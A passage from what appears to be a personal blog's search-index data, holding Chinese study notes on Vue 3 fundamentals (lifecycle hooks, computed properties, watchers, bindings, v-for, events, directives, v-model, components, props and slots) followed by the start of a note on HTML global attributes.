刚刚初始化之后，数据观察和事件机制（data 和 methods）都还未初始化，不能获取dom节点\ncreated：数据观察和事件机制（data 和 methods）都已经初始化，dom节点处理完成，组件未加载\nbeforeMount：实例已经加载完毕，但是还没有执行挂载操作，得不到具体的DOM元素\nmounted：实例已经加载完毕，也执行了挂载操作，DOM已被渲染出来\nbeforeUpdate：处于数据更新之前，data中的值是最新的，但是页面上还是旧的数据，还没有重新处理dom节点\nupdated：处于数据更新之后，data中的值和页面上的数据都已经更新，dom节点也被重新处理\nbeforeUnmount：实例销毁之前，实例还是在可用状态，可使用this获取实例\nunmounted：实例销毁后，数据绑定和事件监听器全部清除，子实例销毁\n例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rconst app = Vue.createApp({\rdata(){\rreturn{\rmessage: 'hallo word'\r}\r},\rbeforeCreate() {\rconsole.log(\u0026quot;beforeCreate\u0026quot;)\r},\rcreated() {\rconsole.log(\u0026quot;created\u0026quot;)\r},\rbeforeMount(){\rconsole.log(\u0026quot;beforeMount\u0026quot;)\r},\rmounted() {\rconsole.log(\u0026quot;mounted\u0026quot;)\r},\rbeforeUpdate() {\rconsole.log(\u0026quot;beforeUpdate\u0026quot;)\r},\rupdated() {\rconsole.log(\u0026quot;updated\u0026quot;)\r},\rbeforeUnmount() {\rconsole.log(\u0026quot;beforeUnmount\u0026quot;)\r},\runmounted() {\rconsole.log(\u0026quot;unmounted\u0026quot;)\r},\rtemplate: \u0026quot;\u0026lt;h2\u0026gt;{{message}}\u0026lt;/h2\u0026gt;\u0026quot;\r})\rlet main = app.mount(\u0026quot;#app\u0026quot;)\rsetTimeout(()=\u0026gt;{\rmain.$data.message = 'abc' // 挂载3秒后触发更新事件\r},3000)\rsetTimeout(() =\u0026gt; {\rapp.unmount() // 6秒后触发销毁事件\r}, 6000)\r访问组件的生命周期\nvue组件周期\n实例生命周期加on就是组件周期\nbeforeCreate和created统一为setup()\nbeforeMount为onBeforeMout，mounted为onMounted，beforeUpdate为onBeforeUpdate，updated为onUpdated，beforeUnmount为onBeforeUnmount，unmounted为onUnmounted\nsetup：data 和 method 都已经初始化\nonBeforeMount：组件被挂载到dom节点之前\nonMounted：组件被挂载到dom节点完毕\nonBeforeUpdate：组件更新之前\nonUpdated：组件更新之后\nonBeforeUnmount：组件销毁之前\nonUnmounted：组件销毁完毕之后\nonErrorCaptured：当捕获到来自子孙组件的异常时\nonRenderTracked：当虚拟DOM重新渲染时调用\nonRenderTriggered：当虚拟DOM重新渲染被触发时调用\nonActivated：当被包含在中的组件时\nonDeactivated: 当被包含在中的组件发生改变时（例如切换组件，原来的组件销毁时）\n注意：使用的组件会把数据保留在内存中，避免需要重新加载多次数据\n实例的data()是一个函数，并非方法，vue在创建vue的组件实例过程中会调用该函数，以$data的形式进行存储在vue实例中，data中的所有值都可以通过实例来暴露（访问或者修改），例如：\nconst hallo = Vue.createApp({\rdata() {\rreturn {\rhallovuejs: \u0026quot;hallo vuejs!\u0026quot;\r}\r}\r}).mount(\u0026quot;#app\u0026quot;)\rconsole.log(hallo.$data.hallovuejs)\rconsole.log(hallo.hallovuejs)\r方法\nvue允许使用methods向组件实例添加方法\nvue会自动为methods绑定this，使其始终指向组件实例\nmethods一样可以在组件模板中暴露，也可以在模板中用做事件监听\n\u0026lt;div @click=\u0026quot;alinkclick\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r计算属性\n计算属性和方法的区别就是：计算属性只在其依赖发生变化才重新计算，只要依赖未发生改变，那么就会直接从缓存中获取，不会再执行其函数\n如果使用一个方法来计算时，那么data()返回的值，发生一次改变，事件方法就会重新计算一次，因此涉及计算类的使用计算属性，而不是方法\n例如：\nconst app = Vue.createApp({\rdata() {\rreturn {\rhallovuejs: \u0026quot;hallo vuejs!\u0026quot;\r}\r},\rcomputed: {\rhallo(){\rreturn this.hallovuejs == \u0026quot;hallo vuejs!\u0026quot; ? \u0026quot;Yes\u0026quot; : \u0026quot;No\u0026quot;\r}\r}\r}).mount(\u0026quot;#app\u0026quot;)\rwatch监听器\nwatch接收2个参数，被监听的data()属性值，回调函数，当监听的变量发生改变时，自动执行回调函数，例如\nconst app = Vue.createApp({\rdata() {\rreturn {\rnum: 100\r}\r},\rwatch: {\rnum(current, prev) {\rconsole.log('num发生改变')\rconsole.log(\u0026quot;改变之后的值:\u0026quot;, current)\rconsole.log(\u0026quot;改变之前的值:\u0026quot;, prev)\r}\r}\r})\rlet vm = app.mount(\u0026quot;#app\u0026quot;)\rvm.num = 300\rvm.$data.num = 600\r另外一种使用方法\nconst count = ref(100) watch(count,(current, prev) =\u0026gt; {\rconsole.log('num发生改变')\rconsole.log(\u0026quot;改变之后的值:\u0026quot;,current)\rconsole.log(\u0026quot;改变之前的值:\u0026quot;,prev)\r})\rwatch和计算属性的区别：虽然都可以监听data()属性值的改变，但是计算属性会在页面渲染时触发一次，而watch只在被监听的发生改变时触发，而且watch可以得到改变之后的值和改变之前的值\nwatch可以监听多个值\nclass绑定\nvue允许使用:class对象来动态切换class，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;p :class=\u0026quot;{container: yes,nav: no}\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\ryes: true,\rno: false\r}\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r而class的存在取决于键值对的值，允许传入多个值，也可以直接调用对象，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;p :class=\u0026quot;classnav\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\rclassnav: {\rcontainer: false,\rnav: true\r}\r}\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\rvue也允许通过数组来传入class，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;p :class=\u0026quot;[classnav,classa]\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\rclassnav: \u0026quot;nav\u0026quot;,\rclassa: \u0026quot;texta\u0026quot;\r}\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r同样也允许使用三元表达式，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;p :class=\u0026quot;[no ? classnav: '',classa]\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\rno: false,\rclassa: \u0026quot;texta\u0026quot;\r}\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r始终添加classa，classnav取决已经no的值\nvue也是允许在数组中使用对象来处理\n如果在组件中已经绑定了class，而在调用其又加上其他class，那么就会合并，vue允许在组件中进行:class，如果有多个元素，在调用时绑定class，但是又想指定其class给予某个，可以使用$attrs组件属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;test class=\u0026quot;nav\u0026quot;\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({}).component(\u0026quot;test\u0026quot;,{\rtemplate: `\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;\r\u0026lt;div :class=\u0026quot;$attrs.class\u0026quot;\u0026gt;vuejs\u0026lt;/div\u0026gt;\r`\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r上面只有\u0026lt;div\u0026gt;vuejs\u0026lt;/div\u0026gt;接收到class\n内联样式绑定（:style）\n例子：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div :style=\u0026quot;{ color: a, margin: b + 'px' }\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\ra: \u0026quot;#ccc\u0026quot;,\rb: 300\r}\r},\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r多重值\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div :style=\u0026quot;{ color: ['#ccc','#fff','#000']}\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r一般来说只会选择最后一个（前提是浏览器支持）\n列表渲染\nv-for可以将一个数组迭代成一组元素\n使用的形式是 item in items，items为数组，item为迭代的元素，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div v-for=\u0026quot;item in items\u0026quot; :key=\u0026quot;item.message\u0026quot;\u0026gt;\r{{ item.message }}\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\ritems: [{message: \u0026quot;xyz\u0026quot;},{message: \u0026quot;abc\u0026quot;},{message: \u0026quot;hallo\u0026quot;}]\r}\r},\r}).mount('#app')\r而:key的作用是为了更加效率的渲染dom，更快判断出某个不存在的元素，可以根据key动态来重新排列元素的顺序，key的目的是保证唯一性\nv-for支持index参数，即当前的索引，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div v-for=\u0026quot;(item,index) in items\u0026quot;\u0026gt;\r{{ index }}:{{ item.message }}\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\ritems: [{message: \u0026quot;xyz\u0026quot;},{message: \u0026quot;abc\u0026quot;},{message: \u0026quot;hallo\u0026quot;}]\r}\r},\r}).mount('#app')\r\u0026lt;/script\u0026gt;\rin可以用of替代\n\u0026lt;div v-for=\u0026quot;(item,index) of items\u0026quot;\u0026gt;\rv-for也可以使用对象(从某个角度来看，数组也是对象的一种)，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div v-for=\u0026quot;(item,key) of items\u0026quot; \u0026gt;\r{{ key }}:{{ item }}\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\ritems: {\rhallo: \u0026quot;yes\u0026quot;,\rabc: \u0026quot;2002\u0026quot;,\rxyz: \u0026quot;np\u0026quot;\r}\r}\r},\r}).mount('#app')\r第二参数为键名，这里命名为key，实质上就是一个key\n也可以加index做为第三个参数，作为索引值\nvue在渲染元素时，如果数据的顺序发生改变，vue是不会将dom元素进行适配顺序，而是重新更新数据，确保正确渲染\nv-for也支持整数\n\u0026lt;div v-for=\u0026quot;a in 6\u0026quot; :key=\u0026quot;a\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r和遍历一样，会重复对应的次数\n事件处理\n一般用v-on进行监听事件，例如：\n\u0026lt;div v-on:click=\u0026quot;boom\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r多个事件用逗号,分开\n可以简写为@click=\u0026ldquo;boom\u0026rdquo;，boom是方法，不推荐直接将逻辑写在事件v-on，而是使用一个方法来调用，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div @click=\u0026quot;boom('yes')\u0026quot;\u0026gt;\rhallo\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\rabc: \u0026quot;hallo\u0026quot;\r}\r},\rmethods: {\rboom(a){\rconsole.log(this.abc + \u0026quot;boom\u0026quot;)\rconsole.log(a)\r}\r}\r}).mount('#app')\r按键修饰符\n一般用于监听键盘事件，精确的知道某个按键是否被触发\n.enter：顾名思义 回车键\n.tab：tab键\n.delete：删除或者退格\n.esc：esc键\n.space：空格键\n.up：上键\n.down：下键\n.left：左键\u0026lt;\n.right: 右键\u0026gt;\n系统修饰符\n.ctrl：ctrl键\n.alt：alt键\n.shift：shift键\n.meta：在win为windows键，在mac为command键\n例如：\n\u0026lt;input @keydown.enter=\u0026quot;submit\u0026quot; /\u0026gt;\r上面只要触发一个要求就会被触发\n.exact：精确触发\n@keydown.enter.exact // 只有当enter被按下时触发\n@keydown.exact // 只有在没有任何系统修饰符被按下才触发\n鼠标修饰符\n@click.left：鼠标右键\n@click.right：鼠标右键\n@click.middle：鼠标中键\n例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;test class=\u0026quot;nav\u0026quot;\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({}).component(\u0026quot;test\u0026quot;,{\rmethods: {\rentersubmit(){\rconsole.log('回车事件已触发')\r}\rclickmouse(){\rconsole.log('鼠标中键事件已触发')\r}\r}\rtemplate: `\r\u0026lt;input @keydown.enter.exact=\u0026quot;submit\u0026quot; /\u0026gt;\r\u0026lt;div @click.middle = \u0026quot;clickmouse\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt;\r`\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r自定义指令（directive）\nvue允许指定义指令，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;input type=\u0026quot;text\u0026quot; v-hallo\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst app = Vue.createApp({})\rapp.directive(\u0026quot;hallo\u0026quot;,{\rmounted(abc) {\rabc.focus()\r},\r})\rapp.mount('#app')\r\u0026lt;/script\u0026gt;\r这里的abc指定的是当前元素\n局部指令：组件中接受directives选项\n指令的钩子函数\ncreated：当绑定元素的属性和事件监听器被应用之前调用\nbeforeMount：当指令第一次绑定到元素并且在挂载父组件之前调用\nmounted：绑定元素的父组件被挂载后调用\nbeforeUpdate：更新包含组件的VNode之前调用\nupdated：包含组件的VNode及其子组件的VNode更新后调用\nbeforeUnmount：在卸载绑定元素的父组件之前调用\nunmounted：当指令与元素解除绑定，并且父组件也被卸载时调用一次\n表单输入绑定\nv-model可以用于数据的双向绑定，但是v-model会忽略表单元素的初始值，而使用实例中的数据作为数据源（需要在data中声明初始值）\n复选框的数据绑定返回的是布尔值，也是可以将数据绑定到一个数组中，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;input type=\u0026quot;checkbox\u0026quot; value=\u0026quot;hallo\u0026quot; v-model=\u0026quot;datas\u0026quot;/\u0026gt;\r\u0026lt;label for=\u0026quot;hallo\u0026quot;\u0026gt;hallo\u0026lt;/label\u0026gt;\r\u0026lt;input type=\u0026quot;checkbox\u0026quot; value=\u0026quot;abc\u0026quot; v-model=\u0026quot;datas\u0026quot;/\u0026gt;\r\u0026lt;label for=\u0026quot;abc\u0026quot;\u0026gt;abc\u0026lt;/label\u0026gt;\r\u0026lt;input type=\u0026quot;checkbox\u0026quot; value=\u0026quot;xyz\u0026quot; v-model=\u0026quot;datas\u0026quot;/\u0026gt;\r\u0026lt;label for=\u0026quot;xyz\u0026quot;\u0026gt;xyz\u0026lt;/label\u0026gt;\r\u0026lt;p\u0026gt;\rdata: {{datas}}\r\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo = Vue.createApp({\rdata() {\rreturn {\rdatas: []\r}\r},\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r单选框（radio），数据存放在字符串中，输出的也是字符串（选择框和输入框也是字符串）\n如果想输入或者选择返回的不是字符串，而是其他类型，可以使用v-model.number，当然也是可以进行手动转类型，但是v-model.number可以自动判断输入是否是数字还是字符串\ntrue-value和false-value可以在被选中或者取消选中时触发，例如：\ndata: {{datas}}\r\u0026lt;input type=\u0026quot;checkbox\u0026quot; v-model.lazy=\u0026quot;datas\u0026quot; true-value=\u0026quot;halloword\u0026quot; false-value=\u0026quot;hahahah\u0026quot;/\u0026gt;\rv-model.lazy是v-model数据双向绑定的懒加载，在每次input事件（失去焦点）触发后将输入框的值与数据进行同步\nv-model.trim可以自动过滤掉输入数据的首尾空格\n组件\n全局注册\napp.component\n局部注册\nconst componentA = {}\rcomponents: {\r'component-a': componentA,\r}\r局部注册的组件，在其子组件是不可用的\n通过Props传递数据给子组件\n通过Props共享一些数据，例如：\napp.component('titles', {\rprops: ['title'],\rtemplate: `\u0026lt;h3\u0026gt;{{ title }}\u0026lt;/h3\u0026gt;`\r})\r\u0026lt;titles title=\u0026quot;hallo\u0026quot;\u0026gt;\u0026lt;/titles\u0026gt;\r在上面的例子里，title=\u0026ldquo;hallo\u0026quot;被传递数据给模板，任何值的可以传递给props，如果一个值被传递给props属性，那么这个值就成了这个组件实例的共享数据，这个值可以在模板中访问\n监听子组件事件\n使用自定义事件监听子组件，通过子组件事件来告诉父组件应该做什么，例如：\ntemplate: `\r\u0026lt;button @click=\u0026quot;$emit('hallomain')\u0026quot;\u0026gt;\rapp\r\u0026lt;/button\u0026gt;\r`\r\u0026lt;div :style=\u0026quot;{fontWeight: yes}\u0026quot;\u0026gt;\r\u0026lt;hallo @hallomain=\u0026quot;yes += 1\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt;\r\u0026lt;/div\u0026gt;\r也可以在组件的emits中列出事件\napp.component({\remits: [\u0026quot;hallomain\u0026quot;]\r})\r事件也可以用来返回一个值 \u0026lt;button @click=\u0026quot;$emit(\u0026lsquo;hallomain\u0026rsquo;,1)\u0026quot;\u0026gt; app \u0026lt;hallo @hallomain=\u0026quot;yes += $event\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt;\r这个值可以使用$event访问到，事件也可以是指向方法的，用事件来触发方法的使用，例如：@hallomain= \u0026ldquo;hallo\u0026rdquo;\n给这个方法定义一下，在methods选项\n组件也可以使用v-model（model-value）\n\u0026lt;hallo :model-value=\u0026quot;hallomain\u0026quot; @update:model-value=\u0026quot;hallomain = $event\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt;\r如果是表单元素，例如input也想用自定义事件，需要将value绑定到props上，当input事件被触发时，就会将value通过自定义事件抛出，例如：\napp.component({\rprops: [\u0026quot;valueData\u0026quot;],\remits: [\u0026quot;hallomain\u0026quot;],\rtemplate: `\r\u0026lt;input :value=\u0026quot;valueData\u0026quot; @input=\u0026quot;$emit(\u0026quot;hallomain\u0026quot;,$event.target.value)\u0026quot;\u0026gt;\r`\r})\rvue允许向父组件传递给子组件一些内容，例如：\ntemplate: `\r\u0026lt;div class=\u0026quot;hallo\u0026quot;\u0026gt;\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;\r\u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r\u0026lt;hallo\u0026gt;vuejs\u0026lt;/hallo\u0026gt;\r通过vue的自定义元素来插入，父组件的vuejs插入到slot自定义元素中\n如果一个子组件定义了多个slot元素，可以使用name属性和slot属性进行分配，例如： \u0026lt;div slot=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r发现name属性值和slot属性值相同时，就会分配该插槽到该元素中\n单向数据流：父组件可以修改子组件数据，但是子组件不能修改父组件的数据\n单向数据流的目的是确保组件的独立性，不然多个子组件都可以乱改父组件的数据，导致不知道按哪个数据为准了\n如果想做到类似修改父组件，可以向获取父组件的数据到自己的data数据中，然后赋值给一个属性，通过修改该属性来做到类似修改了父组件的情况（实质上并没有影响到父组件），例如:\napp.component('hallo', {\rprops: ['num'],\rdata(){\rreturn{\rnum: this.value\r}\r}\rtemplate: `\u0026lt;div\u0026gt;{{num}}\u0026lt;/div\u0026gt;`\r})\r在上面的例子中，value就是父组件的数据，将其获取到num中，然后就可以改变num了\nNon-Props：当父组件发送一个参数给子组件，但是子组件没有接收到这个参数时，子组件会原封不动的复制到自己的属性上的特性，例如：\nconst app = Vue.createApp({\rtemplate: `\r\u0026lt;div\u0026gt;\r\u0026lt;hallo num='hahaha'/\u0026gt;\r\u0026lt;/div\r`\r})\rapp.component('hallo', {\r// props: ['num'],\rtemplate: `\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;`\r})\rconst vm = app.mount(\u0026quot;#app\u0026quot;)\r可以利用Non-Props的特性，直接在父组件下，给子组件定义一些属性，例如style，class等等，只要子组件没有props接收该数据，都会原封不动的应用在自己的属性中\n如果不想使用Non-Props的特性，又不想被影响，可以使用inheritAttrs属性\napp.component('hallo', {\rinheritAttrs: false,\rtemplate: `\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;`\r})\r$attrs属性，当一个组件内部是多重嵌套，或者没有根时（指有多个同级元素），拥有该属性的元素才可以获取到利用Non-Props的特性传递的属性，实现属性穿透，而不用再手动传递了\nconst app = Vue.createApp({\rtemplate: `\r\u0026lt;div\u0026gt;\r\u0026lt;hallo num='hahaha'/\u0026gt;\r\u0026lt;/div\r`\r})\rapp.component('hallo', {\rtemplate: `\r\u0026lt;div v-bind=\u0026quot;$attrs\u0026quot;\u0026gt;\r\u0026lt;div\u0026gt;\r\u0026lt;div\u0026gt;\r\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;div v-bind=\u0026quot;$attrs\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;div v-bind=\u0026quot;$attrs\u0026quot;\u0026gt;\rhallo word\r\u0026lt;/div\u0026gt;\r\u0026lt;div\u0026gt;\rhallo hahaha\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r})\r在上面这个例子中，只有带有$attrs属性的元素才能获取该传递的属性\n","permalink":"https://xiaochenabc123.github.io/posts/23/","summary":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{\u0026hellip;}}，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;p\u0026gt;{{ hallovuejs }}\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rhallovuejs: \u0026quot;hallo vuejs!\u0026quot;\r}\r}\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rvue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;a v-bind:href=\u0026quot;url\u0026quot;\u0026gt;{{ main }}\u0026lt;/a\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rurl:\u0026quot;https://xiaochenabc123.test.com\u0026quot;,\rmain: \u0026quot;小陈的辣鸡屋\u0026quot;\r}\r}\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\r这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;button v-on:click=\u0026quot;go\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rmain: \u0026quot;hallo\u0026quot;\r}\r},\rmethods: {\rgo: function(){\rconsole.","title":"vuejs基础学习笔记"},{"content":"属性\naccesskey\n定义快捷键获取焦点，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; accesskey=\u0026quot;q\u0026quot;\u0026gt;GO\\\u0026lt;/a\u0026gt;\r按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\n\u0026lt;div class = \u0026quot;a1 a2 a3\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rid\n定义一个id，id为唯一性，不能重复，例如\n\u0026lt;div id = \u0026quot;a1\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rlang\n定义网页或者元素的语言，例如\n\u0026lt;div lang = \u0026quot;fr\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rstyle\n定义元素的行内样式，例如\n\u0026lt;div style=\u0026quot;color : #fff\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rtabindex\n指定tab键的焦点控制，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; tabindex=\u0026quot;1\u0026quot;\u0026gt;GO\u0026lt;/a\u0026gt;\r使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\n\u0026lt;div contenteditable=\u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rdir\n指定元素内文本的方向，例如\n\u0026lt;div dir = \u0026quot;rtl\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\n\u0026lt;div title = \u0026quot;hi\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rdata-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\n\u0026lt;div draggable = \u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rhidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\n\u0026lt;div hidden = \u0026quot;hidden\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rcontextmenu\n指定div元素的菜单，目前只有 Firefox 浏览器支持\ndropzone\n指定元素被拖动时，拷贝、移动或链接被拖动数据，目前所有主流浏览器都不支持\nspellcheck\n指定元素是否进行拼写检查，有两个可选值，true/false\n可以对类型为text的非密码的input元素的值，textarea 元素中的值，可编辑元素中的值\ntranslate\n指定渲染元素时是否要对内容进行翻译，目前所有主流浏览器都不支持\n","permalink":"https://xiaochenabc123.github.io/posts/22/","summary":"属性\naccesskey\n定义快捷键获取焦点，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; accesskey=\u0026quot;q\u0026quot;\u0026gt;GO\\\u0026lt;/a\u0026gt;\r按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\n\u0026lt;div class = \u0026quot;a1 a2 a3\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rid\n定义一个id，id为唯一性，不能重复，例如\n\u0026lt;div id = \u0026quot;a1\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rlang\n定义网页或者元素的语言，例如\n\u0026lt;div lang = \u0026quot;fr\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rstyle\n定义元素的行内样式，例如\n\u0026lt;div style=\u0026quot;color : #fff\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rtabindex\n指定tab键的焦点控制，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; tabindex=\u0026quot;1\u0026quot;\u0026gt;GO\u0026lt;/a\u0026gt;\r使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\n\u0026lt;div contenteditable=\u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rdir\n指定元素内文本的方向，例如\n\u0026lt;div dir = \u0026quot;rtl\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\n\u0026lt;div title = \u0026quot;hi\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rdata-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\n\u0026lt;div draggable = \u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rhidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\n\u0026lt;div hidden = 